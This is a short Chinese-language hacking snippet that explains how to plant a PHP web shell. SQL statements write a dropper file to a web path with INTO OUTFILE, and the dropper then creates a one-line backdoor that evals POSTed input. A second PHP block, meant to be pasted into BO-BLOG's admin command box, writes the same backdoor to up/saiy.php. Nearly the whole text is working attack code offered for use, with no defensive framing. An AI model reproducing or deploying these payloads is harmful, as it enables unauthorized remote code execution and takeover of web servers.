CREATE TABLE a(cmd text NOT NULL)
INSERT INTO a(cmd) VALUES('<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?>')
select cmd from a into outfile '路径/b.php'
DROP TABLE IF EXISTS a
访问b.php就会生成一个<?eval($_POST[a]);?>的最小马。
如果遇到可以执行php命令就简单多了,典型的代表是BO-BLOG,在后台的php命令框输入以下代码:
<?
$sa = fopen("./up/saiy.php","w");
fwrite($sa,"<?eval(\$_POST[a]);?".">");
fclose($sa);
?>